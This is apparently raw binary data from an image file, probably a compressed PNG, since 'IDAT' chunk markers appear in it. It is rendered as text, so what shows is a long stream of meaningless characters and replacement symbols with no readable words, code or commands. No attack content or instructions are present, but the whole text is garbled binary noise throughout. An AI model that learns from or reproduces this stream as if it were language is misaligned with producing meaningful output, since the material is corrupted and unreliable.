l�rx��2RJ޴W�K���ч7�8�'�)��"]Q`�~b?�g(ԍy7a۞L�e�#O�>%��B��-�Gߦ�|�ډ�G��;~�_��RJ.<g,�
�y�e+Kl�Raޡ-L����l�_�;�SOl�گ�#Ox/^��N�{�X�X8�:�}�JƩW�fD���T��++ʺFPɶᾇ\�9��m�l�xe�dL�3x����&OT*0�Ë��=K��A�;[p�i67}1ë�%��x�����l*U�-۠�~����\��!�wZ)�'��V�6�A�z�M{	�eX�Qr����M{Yl�rX���}�g��m���=5s��9/�3ˢ)CC�m�TVũh}$�6<��/��-�[�ȑ��A�
�hqˏ*L�(x߻���u%��H�}���	ޚ�aZ���֬�$�'
�:�ƶ]^[�F�ja;���I8��KWH6m�����.l떼��n�y�BAr�96l��a��~{���7�����������6uI6lv�5��ժ�cO*'�h
�?�O�C��2�d�
��Q���6��_�q� ��N�uiok��q�ڶ��
ؖ��.��H�k+W"�K>���X�w]��4X��,�a�k9t�w�7"(�V��LS����A���B����d�fm���������.0�����g���Bw����O�YBoťR)���h��&:�Ǝ�$D�<�r����ߞ}��2}�#9���3��<��^a���})��Q�d�(��C��5+.�p�[0�%�#H�5g�Z0��©B���>���1=Ck�������J\ui{}��r�B��sE����6Ee��sw�C��u��������c�m���=5�HAr���p\xyQ�'�6�G.�d��&�{���]�|x'��o���[���%��Naz�KKH^\J�	�<��A���gqɧ.��b�,��g~�ʇγ��!���x�5��I޴��K�����e�>tv�WY��[9p_����䳒�����М������Ѵ��0�c�國=���3l�>���T��W��[�������
�-q��T�{��KWe��]U���o��M��rC���Jwo;ұ@��k�ȫ��\����{��S3�����~�����?��[ʬ��#��,Z�Y�Q�ßE#��9 ��(7nvB_~�ӥ�%O�M3�~��F���N�p��ѧ��y{�|���^�5��Щ�vGD�k���//��:�qO[�zz�m���^t�xu��5�U����!��#�L��7Ԝƛ(i>��"L� �O�E�+��:�����8Z�6nU���3M�N�V���#� ��Ke,��.�e#�p��u�
E_�<�u"�&��P����Y$088vC��H	����9aی�hgb���ݦ0ŝ��ZDŕ<�~�ϝν���R�P(�0�����<G��EFQO*�*���L3���~f�}���<��o���b��_��
$��x��y���`a����>�",�E)=K��j����x~7����_�����}�W~���/k��i����s%N?��͕�l/�cCi7��+K*��EK+��z��.��M�"+��|��}l��
���pLK\��dީ�x�Y|�ܱ|�{�9��vl�k&ۛ6=��1\t�8�t�\���>�r�l�w�d�9���@ B=�$�S��j`�K�d��k?i34,��|�F�W^���O.O>+��c��y�Q�}���6��.O,T��'�7U�ѩ`�F��/W|�޿ˮ���0���}�ïpbyO<���’�ût��Rh(��/y�GJD���x�;i7j0��(�������K�#��_�t������=�\���Y[��
�:$��;�Z�El�FBk+;��7�B�',8�����Ͼ��_6��/���!G�'��9Ϡ�b�z��PJ��*�t{\/�OK��0����(C�l����_�޻p��DZ��eY�9kOƌ��/�وee�����N�?�����jU��J�~G����$�H�z�ܺ�<��N=�8�[ڙ51ǔ�N^�<�}+�CKeo�u(U�t4g�o�8�L�"�)lذ�#���WVQ�/�����4�?/��{���c�R��餽����|O�Mad����>�M9z�6 �
Ҳxǻ>��g�k����P��?��w�߽�MS��3zu2�:��ިF�h��b�v�"\�QS�"�tY�����l�pS��sԗ����_e���v����1�7�:7~���Olf���n��O�35�V�U�t�p�vn}x�v��ؓ���nƴ����q±m�uO���~���a`�;{tCcѴ:-�m)��&z=��r]�~��{?q��	���?�$Y�W�NԵ$KVH�~�R|�C��Mу��zn��E�ē9�x�1�(���e��_,�Ҍ[,O5��I�y�W�7z4O�����[��"ϼ�i���8�*_��2#��V������PT~b���k�q�	YV���Z�7��|o>��/��.�i��_���ê\��2�#_mD�C�1���M
M�\�)@-��8�STI�_j�ij��QG��T=b>���B ]�q�V�T*r�<��:���q8��yl�~�
��H!�,�EA7����hm�J�Kζ<�]����q��ݏ<ǡ�Ô�+�#�k��9ح��+��ٸ��p���-��s2{Lj#�����[ǘVz��y�n,n%���S�������������M����`M�cCYX�z�#�lk��%K�c����o��dhof�Y-Do'��7�a�Er~my�G�o�KE���W��(~�6h��F�}(JT*K��a�j�hZ��%��R?�/��ޅ/���+��XSeպ*'����`�}�,_]��zX��L�*��=,ZZ����_?���̱d��^O_��5�o�R�����>�uX�N��ǡ���,|����73����"��2Ā=��[�|�k[����,_���k��I4�d���?,��� ,x�����0���� �]p�+e��
��:�mm�^K�w�lƖض��nI.'��%�+hoJ���B�m0a�`�6ɔI�rY��'�<Ѣ\��������-�V���㽣<V���gF���
�y��K~)a\��BܘA�6ɄN��^��N�~�K��V�^T��S��u[�m��|o��32~�.9���nʳ�y���)�����'�{�����=?���kJ�Y/�c�V��p�F	Q��)C���Sm�{țZ�w�ŭ7�y�5��=��"%}�e�9#��&~���u��0q�`��`+��ه�\q(��WiqV��TI6�m�BD�X�i��'���v}Ԓ[�֬��\��v�L�Ȅ�񴶶ђo&��a[�l�	�α���?��%����U��W'���&Zmɺ�22<����Ho{�n-Y�|�I|�g CHa�XYFz��q�`��/d
�"���H��Wv�h�挷���Swc��3ټi+���'��gfv<�	�{oKp/�ݰ|	�k�!�z�{�91�pE��r2p�e:�6(j|z�PI�Ƈ>?�;�m�;�����)8����2hb�_*I�4��n�C�=������a_	�	Lr����fRn� RB�:L�]dLf��@VT��P�\iA��l��c:�gCq
{����ێaN�Z�f����i������`q��e�jө����e|q�'�*M p��NV���S���3K��	�Bo�����q��%�F<��ޱ>�,��B���q�Q�а���;j[�׶������巷zoOK	�y(=��m����7�/x�6��D���z'Y����fA���Ak�Gw�$i�A&#p魁�lK���X�G"�o�Xx��-�tN�����f��2��޼�I8����X�o�ZᏏ9�|}|�H��oM)�v�K��p��<5�ee���e~~o5�'4��~{��^���Uxp�Gۅ+�[�Sh�9���|�Ic���s����4Ӥ�h�ׇ(Ȍ����6�&��dg�ς\.�u��H�{�KT�\!%�l�i3v�Xi���U,���g�h|��R�}wkǩT�
Z��3%ǥ�x��f���Uyq�}��d��[VS�fp�q�V*�p)��l8�*�r)U���������|���)�0al]p�9[y�X���̀#���l۲��k^b�	<���,ǝ|4�)� ���E�9ZX�(�x�|m�_��9nؔdg��L�P��X}E��HW23����C����VįC�`,tP��_��Xvo��^-+���Ȉ����d���Wj�{�����AH,)i�����dOk5�0y�۝�zd:�V��-�l��ѝ/Pts�r�idE�Y�諴sL�8�bJ�v��23�7��8>��𽁌������1�r%���QH��H������3��B!>�)S'y'��4{�
�'z/�
Hr9hk��{%�t���z;����۵]2�SP*y���"�˒S'6w�̝m�?�VmV��J�o�������q��z��*Zp��A ��@J�8�����IN>����nT?�9�S�Wn�>χޗ%����Hᴈ_W�2ʈ@��R�]�x�;n�34��W��FW#
%���﫼���_��E�ei��i�B(4�t2�R_����F�旻���ҜJZ�-��ۺ���VN%Х
�@���B.�
wb��J�Z���ގ,W"��c�k�t�l�NɑxG���A@Ʋ(:.�
L�Ae��͕�;�jk���n	*��������D�MDn�@��-��d3dۼ�t��:,��	X�c��Ѻ���;;Az�*
����س�q�;.evK����Mm�.�7�eͪ�L���'Mc��q���1�Ω�p�*Y!ɏ��@��nD��ܸfڦ��w�I������~���P�/P,�L�lF�N*�'������:UIG� m�0�a:�n�2#T���f�V餻�Ɉ�Ǒ�F�$e�D��t	�:y�Ș��v�1�z*�X>�'��ց$����q���B�e�D���]�-Jn��l?�w��@r���.����FVTi��Lj�f��t��{6��ҡ=������|�3���bI\8�:p8v�
�my����7��'^��=�l���W�ۼ�U��<C�?�j�2ᆊJz���.m�T���JU⽮�Z#2K����:,S���K��p�f�a�Գ��
��h0�e+%�@���Y�̥T�^�(�4B�z���!�)��kO�'�u(�Բ�#�{�?���"Ga�t�K���ӝ�If���~����==5:��P����Na�`�婂�A�.+/GH�f�d3,��N̵,��x�,$�u��w`��>�!0T�&�ۭ帞�F,�n��_�%c�����y/�q�P�j�[���nRd���?��d�Rл}k�n�-�Ą��Ⱥ�;���ٶqå�m1�sv6G�����m'���Pi	D�[H���[)yB6g�2�	��^�R��#�,�j7�f^rc�gm4[:2C��;�C'$��%\?j��͂��`�-tI4��&�x3��w�&�2�_����$��SrL�-W��hFF\�H����4X���5R���4�=5��z4y;�kgS=���j��vu��Q�
���F�-ο�?�x#d9�;�$�KK&c�ާ�KZ[�a�������[�Ҷ����e��7K-�_�i<���DG#8F��dۨ|Lzcⳑv7�hd�y�i�k��l=c�t�&�Fde�O���FS���J:�$�5�~�'S�K��h]/4|�s-=?f{F3��$����{#R�
�%~#en��F�gg�?��3��?�ʨ�[O��	ԏڒV�U8���hM}Sٴ($)��Y�գ;m�t#2�?)�6:id�Em��NG#8M�Tǎ�i4�hTۈܒ��Do����h��h5�@�xH�'i�F��ڙ]	�Q�k��z|փ�C�������]]og���agޝ�(ܝi�7*�ԍ��Q/���O�(�����]���2�{˿�8wA�g��(;�;6ݚ<��'m>����$����a����ix�FMiD�#������w�^�}��4�I��t��i$*kD�&����h��445u�(��
���7	G�򣱁�I�aR��u\�p�V�&Yž�nJ�y�?ӣ�$��$�z;x�f̤鑠^=���cr������F;Q��I�S�	w#��Q�t'ި�J�
�~�8F3J���sz���N{=g�HR�L�c~=�1�0ݧ>j�2�W��3v�L���&��g�|LS�:��W�9I���'p&�t��>j�3
G��B� �����kb�gW��y�4��)�������4�2:ve�F�UuzwTi�F���ԣ��z�z8t�M�^jĨ�p�8��֣;��F�%�y=���S��:�i��H�'���ڔ�hHk�4y5�_���^?�=���J�Ljj����h�殂��h��(l�>Ho�l�9%�7�Q�Q���&���w�ϝm�F������3�]E�����M��?н����T���W����_�e�:��Fh5E &��禼�橢Fd`Ji
�֣�T7�&��F�5]�T��`��Y���sR���I�i*��k_�ږI�M�G��*MI��(�I#��Fp�+䥵�z��g�$9%�l�z)͆��O�I}��t�&=I�WVZ�O�l��L�%u�F��j<Q.�b%
��2�G�kj�4����VNo���&#��I
��2PmI�����V���4c�ә�_�mt�z���kw�h#��@FI�M�!��4�d\��$CY�m���d�F��w�L����4�xN
t�F�:L]&:�xNp�|^L������F�u�L�8�z���G��?����=O�GңXSS�*���?e�x�G����?����Ki�����L��V.c*��	29�����'��$�҈L��H�jJ�+-39F�����FgZy-:�z��hH�I��A#��N�3Z���>m�aG�6U��I�vD��|G�J�ݮh���$����!I��������(�$x��'��Z��M��&Y8M�b�x�1֨Ҩ)��`۶�C�L5j��N��
Ą�}��HR��8A͍*�F�1��z|6��&�M�Я�RR��3���-]i�0I��d��ћ��kD�Ii��GW�v ���2x�m���$���xǡR��%9p�L]g��I�]���Ҏ�Z���Q)�C��`R�7��]!��촫�zg���8�I��q�QɄ�������p
��]��7-�4d2�m$��գ���}R�F�J*�V�Q~G����$>w�}F#�F�h����GvEJ��*�;��F�;
/��F����F���_}�(���F�s#8w��p
�T)�>iȗ����5�<�c�#iȾ��A�i��id�a���w4��z��hL��H�_O�i�-	���Fu;"k�z��K2p&���3��O/�(��.4��� S{ IDAT���u5
gR^nS�7��i}������5ڟL|%���ڸі��PRe�q�����uh��	�)��N�Tބk���)qZ�$:��6a��$z���O3��e���ˤ���Lz��L������ԈAO��ă
#)�Do��6N�
z�$�IN�ѶV�WyM�GI:��0ٟ$[��vD�I�]�Z�]�T2:R�s�3�jJ24j~ڽN�Z�䔒`4�ˤ�it$�J+�Q4jpL����hĀ&��(����ԫ��wI�:YMi�,
�� �y&�;���`�$:LuL0��/I�&����$�1��a�ÙW�Ks`&Z��4���k7�/A~�v�S�VR�ҽ�WS�N��gI��1بQJ��Lu��4�K�j�:�^7�M&�)K�2S��3�I���Ҕ�[���xj�ҮMu���6&�m�M���R�h#�zt6rܛ�����h��$�fH�K��h�4y�G����M~Z@��Jh#�C�fLt8z^���!�椼���H=��4#��F��t�%M�&:M�/-�1�3�w��1��$ZL���d��DS#rS�%��}ir4�M��;���/�� �1����i�G�O�ʘ��i���/- iT�T�����̤~�T��c�~��cSXjf#�]M�*����M���1�I3\I��TV-g*�*ER~pm*��˔��O�ʒ�lT6�#M3&x��gJ�`�e�d`����$�4:���T&-��8�F?�q�I��d��_��.�FlK\SJ��zJ*�d�t"�������%�\=ǛfӜq/i�A��NX��l�W�ۑ�@1X��m�J;Cs����Q:v��-����u=����"�h��$�;)��i��L�*д��2I1��Ї\�*�{
���GL���q�N�ƥo���"�*�n"��I�`�u��I|1:�RZl�p����;��@�г��I�����B����YG �8���|I�k�$�v!�g���ȧ8���*l[�ɨ�1m_?+l��l��H���dg��	}�`��6��I���/�]����3H�Y��l�e��t�i���~���ޱ��"�z�|��
[�#W.Dn^����A��\�c�g�f��q4�	a�ި�d�d��i3J�o�a�z�V����!.��]���nC��Y&���}����.�l�����QqD��؟�i�p�ܿޞ�or��&D�蘂�2���=�!�'�k�Z.P��-�����������
��|�a�?��	d��m�杏��O"�M�`,���%�/��8ܘ�GJ�ʧp���O��``k#&��z��X�^�Vظ���y�N��m"�U�\���]�߉4���'�){��[�O�`�`�>�[�N�o6�J�{�Ҁ�MLb�<��F��~���h�������To>kTuŌ��/�)"�d4z��.G.^0:z{7ֻ�����q�5��;���d�|:�$�<)%�o��q��d�2���+�k��\b�㱎��
d��$�M�՛.SS�6?�42�l�L�L�$�f�:18�kq~�I��F:b�CH_֛��r��~�}�]�O�����o	��p�B��,q�< �B�`��B��� �{��"f�?]^H	=둅�y�SLn��2`^��LD�/R��f�2ҋs�'�/އt�P�*����8n�}����8�4䖥�����1yTK�Rl�ַ��B���72T�Q�,������g�ƾ�n�'�VEm2�R�3���P����e$��=ٍ�"�ש"��B �X��1���C�1E�ΒG��k�~Sáe���3�e��C���e�p�W�){}J������^����O�h휺0�-���S�!��P����G�#�Mms���e�~���–�,��ѯ�#�%���>tr�ϯ��;adi����>3�~�
X�_+����%�ѤFg���),�S�7�
�*|}H�|?�O.��>?_���OR���`��&���*PC~X.�-k�J݇��Џ|��/���:�
�e�������)�t|���"�w�I������`��q������¹��ؗ��3RB��A�i�����8?�n�x4�$����~��p�3Hڽ1�I�Q#3s=���z1��J�����4�/��Q�
C{&���&��1��� ����tYZ�48*H��/b�;1eo�bS�
*�\�lղ:�vS�`�����_��RJ/(��E�U�<�<a��P�%��ގ<�SX���Dc�#�;������¹���<��Xgz�N���F�Bݔ�T�%�uEhT��g�%���XyU��&���q�y��n���:���
$�%}�"��o�_)��vr���n7�!�N�O ׽�#������|�\�6#_18���@�Z�������\֤_P�cu9Ş�Z�	S�Zضʨ�ZF�x:#���0ӛijN��:Ǣs
G�4^Mya]U�)| �|J��l�?Z5�R�zi�^2���Ob}F���Yȇ�?����k9�o�:�]Ixu|�s\������Ӹ�l�h��F�-�:g���E�F�p_��g��e%C�@�������ڟ1R
��aK�!�����K�m�����<1�j�Ft�^����j�}��k��`�8
괆�ٻ�s�
��^��KŹ��P.U;L,�#zЪ�A��X ���%݇z�Yjau
���J�����w�P��!)��_�^5��G_Q#�jDվ�‹��AF
�^��
ȥ��>������xTh�x��S�N��}���z}��KCH)�}��~�o��G��k(�W�?�#��Q����7*}̸�n\�KII�,���u%��!+�شQX�s�������Q¶�0a��{6 �5�X��L���lo~sp+�х��p���7�Tx���V�SAm���ϻ��"�4fJ�L�Կ9����G�h|ܥ!�Go�`Hbs�2x?����ol
 ���2�qn�Wd�w��7��Z[��*�IJ	�vĘ�ރ�Pt,����|4�z��?50v�~�<[��#��~���bl�/���.^�xˇkD"���&�U���	����e,L�˯k!��R"�%�o�nM��6��Rcl�����Ѧ�!d�=A4BTuIw�JK�フ���0y��K"&����U�߅����Q��+�U��ڲ�c�V�R8��N*͖
�|��02P��z�.�]��e����ջ��#���(�~�瑉���pӌ�i���O�U��[87-�'1�K���@��q*}�a
�^'�v
��9�7qe��)��.��
T�z�\���aA��̕y
$](
{�4��9�[CkH __︖`+k(�l����7�B��k"I��k&�W��1HN���{�yP`E�M�~�6F�WéG^b��N�1�("�<���O�K���K�"�qxU�p~�i��9-�N���m�"�Ѣ���*��	�:�3�έ�#_8��_���>�j�>��d��g�?�=�c�5�{����U����+���0"m�FJ�ҿ��G�
\>`���CΌ�e��/�\�g���S
��d���=T>37Ο����%�yO��?���d½��8w]�}������97b��S��|������2��/�EUy��J�څ���V.z��m��8;�xZ����q�\�Ά�<�� _�C3tPj��s�
�_�:�l(p��%��	��9��T)��؟^��^�M[�6�7<�׉�x���D}��Kb@��;��G��=4
�,�qFu!�e,r�j��^��gܓ���v�,�WTm�Ժ!�� l���L������H�T�C�׳�#�1�Z��lsM���M�F"���j'�K�
��e��
�F<3þ�^��]PvLƚ�ּsq��c��?��VbQ�JGlQ0Г%�!_�/2\*�A��mc}!��!�& ��������G�u'�u&��;���@&��:%<��`e@:a��B��� 7-B�ydK��"׿�%e	�md��S���,Q�}d6�rc�o(�ȳ�#�Te�9��*�ePtS��U{�.{��O������}�a��Z��^�)�9�Pn�|2�x�՜�,
����i}<&'����X�=|l���i���^��C!W=�\�֛N�5�5��L�=ן��
�����Q�����\��L�9܇���W�h������u�b�<1qO�}�c_r'֩���E"�WkPky�ʅ�>���v��ꆬ
�4Պ�Aj����������j��f�Ou��f۟!���I�Ǧob���J��ӷ��:�jH�B��o`���YG &�B�V��묯(h�uAd�ٗ��$�1�W`t����k�|g"|9,y,�^��X{������}����Jl���$�X}�m�_�$���bӍ�<B:�LHp��=�4m��Sԍ^�Lo���h�R�}�;)%�?B��w��Ag���w`xF�>Bx�ʃ�mC
M��Õ�O�4F��'�j��N��>�c���kP�д�#����qW{n�aě�_SX�w\3ˢ�!=���*X��´lĄ=�(���Z�j}�Y���4��&Cx�9�4�	��`eBE�:�X���? {7�����G���	dҬ5���zs�jy�:>@q.�	��z| s��O"��!m�I�a9��ԩI*�A��[-
"~�����m�����T�U�&�,��2
YbҞ0�שI���M0�V�K�Y̠勃8w~�&����I3"a�ébMR�W�ʓ.vw��beT[8�O$�ga��(�g�K��ƒG�w�4�<�=M�թ�F��@�n}��$-�����N=���ȷa�r�Q(B�l�c?�s�'	��1�h��G(u��)!�d�o7N�	����36�1�e�^ (gg0�_�m&����\4�8~��S�Ɖ�g�;�� ���!/c�B�o;�G���h�}�~�S��p*-�ͧ!ۄ}�gj��h�����ꊧP�!56�4/.��	�"��"�հ������I-v���AaZ� ��\�D�%�3En\��Uڕ�KZw��60`��
O��#��׌��T>n�Z�\e&,)��Y����~�'��j��1ۮ��e��x�8mB�g�O�^�lEy����iu�@�<$���]1�/0���g*�(�XJ�]�͋{il~���z&{��׬��s�I*����A�)A@Q�^���-[cb�[º�!�L�撃g��*>��e�Z�'�������I��2���CJo:��q��LS��+�Y{�õ2�Tc��1<z�{�m�֑�c~.L���\�o�')M�ѳ�H��*N��<��Tf
\Ĝ�V��E�;B��I�?U?�8�7�6M�:�r����1���J��)ā��b��!�8�qQ
_i�:�W�N҉qx��a�T\�<(��fM��b�
�����������`�}�K
�T�C��:�׷��G�^i���^q�5���}�%�v��Yn�<52��C��*Q
�!��۸�
<��Ӕ�X���^�'=p6���IÔV�Wӓ	N��SF��w���P��8X��͈#FǸ�7��T��)�'�X'ģ��P�H��&�ːҭ5FAd�1K��Ҧc��*��<B�3s�2�}�-�C��dR�i�!�8�j�qȬ��ض
��>pb�C���u�;a�L=����*r�1�7�3	־'��ѷ��?�m�TJ���c����jT�NĞi���ܔ#f7�J��f�����M���b��3������tS�A�M3���JG��=�^3����ރ��f�A
�H$
mD��%�<RĹ���W�	ieb����М���:�d�j�U���B�;�8���rB 7�^c�UzCH��}j詡u�>�6��O��eY[ǡ�Ui�#��$ULR��n���k�y�/(��@L�?F�1�۱/�#�R��)� �ʈ7'��{���Uе���&�vZ;�/�)��ꩆ.�8c��םm���|�j�K�X�*�7OFHYcM�<�Kw��y��_�z�`�.�w����� Gz��0" �P7�Mm���7�����t�wO�>��P_��R��>,��F4�A��+�J�G�����;�$ �M��8���fi�<G�G#4�$���c0HQ�jbĪN���&���
��h@�\���w�-�
1���h��Gr�>�e(k0�&�$��y��sz
���ϤS�sٿ���~]_��S�����$a�k�O�OS�Q8-濜t�X �v�ؙ�E0
F�_N�aӴ��_48U��{{�_~�;?ʭF;���L�3�|�q��o1�M4~��>��(O��y��9�`��eV(g~hܕ_�
�WJȕO������@q���]��2����E؈��bt��(?E�M�Ǟ�QD}�w<��b�^�(SCZ[?[W¶��%���@*:'$�}��hViUw��AOJ(���X7W�v������)��5t�-c���ć��A=����׌|��
�6�>I?B�*m%�?������@��c04���y���|G�gC���AO��I#���c�l�Z7<�$IH�
1���ɟ;��c�Ƚ���o�Q���=*>�_!�Η
�Ij�3MX�\H�ڧ�\z7B��oX&	4i�J^ 3oIme��)�����Ri3jq�D�
^�߅s��^,��Gjh���8������%x߇�5����I�%��G�bj=��$c�X�j	���"�,�?W����L��gԍ�>K�Ϊ4���Ii4�Pm��:��~�A.o���4��+�Z��ԭ�}��[(r	h
mRc�c)<�� �;ȳs詆�lS\�t۠�o��a�m���M���+'
���h��1�K]DF:4X����qK_�t�WM����;�_6�5�[-!����|w��t��;��X���!��o�k�|����:�J�O>3����V��@�
S�ܲ�;g�<��PRJv-<�G��G��ڱ�H9)�8z�
L���}N�^R�oa���f�T�\���#�D�
�x0ҭ�N�U�א������Ĩ_�p��t:��c�vu�U�3w���ŏ���ѕD�QoZc���7
��6%;6v`���3Q��������v�.�����ʄ�DO��:�2-���L�aʵ�����6�K��=�q�cêzצ!���W���8�Re�N��\��5��߅u֗c�F�5r�_J˜0�	0��n���}��G�/އ��Ͱ�E��#Am��D?�)��$�Vqu
"ߎu�^FSk4�B$Ú�ҭ�g(Ɉo�mgI��e.�ΫFۺ!6M��IL�4i���͖��h�!��(�`��b��`��Q"md�3����q8!0;ͳ'�l�(��HTܚ�;�d���WD�z6�c�G��X�='O�5Җf��$t����ku-&�|{��5�Lȑ~#m��`��#�W�5����|��i�~����u��V
�z���N.�D��ͻG
Qg�t�^CL?��p�$���b�2�(���2� �k^�}�gȑ����7���H���=39�	!@H�` !* ��� (��+���XuY@�V]?˺�뵂�������p�M�$������L?�?&ݩ����I�����zͫ{�����z������K2:N@�y�~����x!o�z��R�`F(a�p=��`:�@ӧLeN��zH8�7�uٍ��}P����@��S��
Zv`��u9|^�����P�&�hr���GŻ��1�0��r|B���P�c�#6�x9���G�+�+-Н�f_,*b�k.�	L���~K��a����S`�m.�72l���p=�S��p�J��E�/
���C#����5���n�1V���c_�Bb�)���F��ǂ�l��q��,3�_�������V���iku����MW��W4��dc��A`�Ȍ�,��5�����qI@h��Qe IDAT�����[�o��b�k
M7���#�E��]h�����=�A3�u8Z
��2L���;�T|K��_��;,`���hr,n%$JH��}��{MizDY�}�<�J�@'����! ��7��s��zrS^��9Jd�·a�*����P׽���MX�t�([i�oڷ
Dj�,C���޾���t3�,��ȯ�|�ϸ�CQ(�NJm�)!М�>��t�4�^#�4�M_h���fi
�DK��T�$�1G�,�*F��t�ǵ�u�؀��!��V,�H�#_fhFh�<�*@/z���l
�[�xfiЩB��q�4�ڧ��~�?���X��q���)R$�մ�.}�C�͙?�l�`�h�w�sE����i��o����Ept@: ���1sm���AI�8�Űܦ0���9:�J�i'�4�����:8^�:o�p����?G_Q�3�
�43�zv'��E��z�ѩ'0���h�*���3P�����aR!@ݻ�^N(]�A{�mv�L[����� �W�<��x� �n�s��̝�M`f���@�_�V��9|�E���`����BD4���eT虭�߀%�~@p�q��ج-�G�S�����0�d�8F?ڵ��톬��v锷��'䟑Qد<����$r�|�N'�/�p�|ͻ��cEO E;�Ћ��K?ޤ�R�?��D"����"Q�z|����4��EQ�'�v���� ;N��w|_����|&��������-�*�c:��_S��(�un&h� 8U�o������6AF�3�tC[��I�>��<̹����B�Խ+�t��r\��B���,uy��),���
g��7�ϊ���q��}��f����xߘ�9���@G�J�͈b^x�H�V�:ODP£��X]1j��t�_C眱N�+ͼ�/���+���6��/f�Փ�wNO�[�ܺ@�➭k�Q�g|��|��n�^�G}k�+�N"b�t���O����������B�Ż��c�.٣�wJ��PR.��-f��/�lۀ/";�Yv6‚��x��=�O�N������/�/4�VU�����u�m�	���.�
�;.�Ӡ���^x�i=_�W�Ե�������R������X�Qê���/I�!$��c<b�u��'�'�E�#�j�eCQ���~�8�� Ɉ��o��k�_ڪ���4�t�h�-UۓQ�vJ�-V7�s�,��+�~�$�mf\�?A� �o�mH�<^>-��M��k�`�1�p��/�
f�w��'��d~�p�p@�7!�?�4�|��<�@^��,�k�M&�C�D�K���������l�KT'�u��@ҩ��F+�Q��#�|N�+��_'A-��5փ�*����\�߷���yzGʎû�F��RejL�iMe�!`�Qs�c����
�V{�y��=
b����K"|07
]gd<�>�Q�	��2x__�+�s�A�_�>P}�u�/'��b��_t��ݓv]�d]�,3/#����o�8�ykA�U O����÷`2|oO���_y����:d8�J��*�~�6�5td�G�u�=k��ћ#s� �1Z�3O���d_D�ۚ���u]]>m��/ǘ�A�>��W�MSi�R=@ �l��L���|M6k��7�;�Za�@p�ԯ��<{Uw/m�< x�5���w2-�]�2��Dv�ef4��׊e��	��qs��[�q�a�]�k�����ʲ��in�G���}3���J�x�_�u��w��6m�;���P���_݌���@�6]S
�8|�ER}�zl*W��40�M��\SX����J�_?u��{NQ�*/�oGB�5]3({Biz:���{�i���M��p#��g|�q� �nޮ��YQ�ә#�5���B�I�TM�d��lW� ��O�Aq���t �iA�L��=���9l�3�54ޕ�)@��ƒ�+C0�h�-ݾ|ze]�&\�����4�M�0����<��o3��Fg��߄��+A�5���a|0�إ<����IV�,j������
5�3�a����p�
�5
�?@�k�ʎ�1|&(2�o5���
@��zvt�����E��e�
_O<�6��xe��2ӛ��`P�'E��c��mx/`���g���Է����~ԉ��u��p�zj�����px��xb��jx_��c(�w��}wÍ,=�xũ��z����(��
���3�G�MI��P���%<���.5�É�0�3J�8st�h�.U����K}�3gRo8F=u��}���*��[���@�n�ރc�\�߿u�|a]E@}^.u��_p=�%)�?�w-���K���|���ßMg]�aP���W��҇�0Љ��-��_��}���V���	(+���i�_��Jx�i�"���ϩ�(�L6S$��
��x%��~���h3�"~����L�'R���s�G��p\;�'�3y��NX?d�����@uY�~4"�ȯ�Ǖ��q�l�?��Xp\;�%��R����'pY>�䐟�)N7��Q�����FT�
62�Ξ�50QP�����7��‘�ͩ��VS{4
Sd0����ǰ;��?ݺJ����/�k�D���~��g�ru�%$�X��(�:bÌ�q��$��W�>�W5e4MU��DZs���e-#�Y����T͍��r����x��3r@��D�'i9;r\��O��3^ã�l_Q��.=��?�����Z�괁W�}��j�?��b#p�Ԃt�kY���xܠ~
�
G����������;2GCQ�����;�i��-C_K|��YӖ?Dj�̊�_4����8�@CW53�J�M�Z_�m�.s�u�kڨ��~��F=ڛ��LG��,�I���bu�_?�>����)�6��G��]�_��+Q���]�ܨ�qN����u?�م�'���t����+��3>Y�.J���V�\3��ۙ��s�KEQ��(8�H�2Vf�f��_��r�uɜp��[�Cq�p�1�Y�^
ڦ@�3�X_は����$`,�����O0F��\7�@�5��RXfev���D#
���s�)kʊ��)�@i�������y�b��jbq3���5��c���8�>���]�4yu�C��N9�3��:R�W"4�����7$J��Yhpz�tss!�+,��3\����)QFWrt���
�7��i@�v��MU��6��g�+��F�_�9�շ1�����
�rP��y�������m��
��`�=�(
���p=����(͆c�ղ.6��(� �+�~
Ǹ��Ȱx�ضN
EQ��]^D����s�Ew��u����4��:���e��e�x�XET\/:2s�p1��N�8&�e�M�"^�T����2(�M��MO��-/�����>�������h`[m����#}%�=�.�B�@b:��հ�ȷ�C7`�)�8t�������LZ���emG�z�1�)��1j�)X�	�w��C�_�"~E�2p��~D���㶒S��p�1�A8o�+4(Y�ҋM\� fko"��t����x8���ނ�}�M͆�$�)��ld�Wς�MM(
�0�0�%h|������X+5�58��}���>�
�Cl�"Դ���&�z���v���wP�(��o���C8���������-��λ>��l����˫ǵ�h8G=׼�P�^�\��>8q5$lB��H�
s�.w�٣.'`x��%��w��Rh��A,�]���A�����oQ{���Y1���������+�1|��0��	�N/|�H�k�9G�Ƴ�+��u5\s6@�l���v"�D���S��O���ѐ�z�і�8�����=�^1�+Mt���&6����u�$Ў%P7���yN��N�T�P(I�P�O�c�=�o�€���TP�|zRQ��(�f����u����5=���/��/M�hC�?)#�A�k��4�%�I����8�x4�7P������d`J�|J�~p���S���ǀ�P���ꦏ@G���z ��_��:^ǥ��r�|/F��ٯ+��PG�2�i����8l���y�T�=X�z`�}&��M�`��ELh�W <�&Iv�Z�G�R!9���%��/�p��
�7�}u$�u۲q;��o�ɾ�(�kJ�fJO���v�p޽T�;�?�ڵJMДl��C�� $�n��z��	_dI��-C�p�ݤ]��4�s�_�\.�i���?_�t2�(�?��z���F'�GJ_ ��4�E��jV&�G�P���!P]�������{���Y�����uD����ς�l��T����
D��ҹ��;�qILvH׌CTS�����}]w�2bD��f�^PR��7�l�^�Y�''�LV��S���; � t*�i�g�xs�_K���!�T�T������o��>��N��.�o練@��ؔ����ǃ���k�L��Ύo��0,���דh�2;�^		��8u�?�a�֩�dF�UK����%��W������;hD��$Z%b�E�����
أ��[�v,Q�ҕ�uxgǷ���fq">���tDxe��𙁬�E<h�[�q</fz�@,E��dFfx��t�ʬp��yK�k�ve�C#�6v�ì���";1���vx�j�ڱa�N�}n�F�;��;.��E|ݮ��93de2�	�+A$��o��v2��h�xY=�*/�D<�Oğ]��,$�lP��`��k���A�?���VeV���1hfW2���h�����f�b��`5���hVG�/d�[T���i��%j�zf	�U��ک�*S�9��+Y��e�"D�E�er���
b���(���beV����D��2?��_f���˗�(K2x~etd����ߊ�ϲ�f	���#�O|�bWovƈ�N0�ӎm������u��ض2�6�Cf��L�����Z[�'m����2�Vm͌Wvq����Z�:v;�o#����o��-�7�
Y[ވ�H3Ye�$Y?����(�ӟ<�<
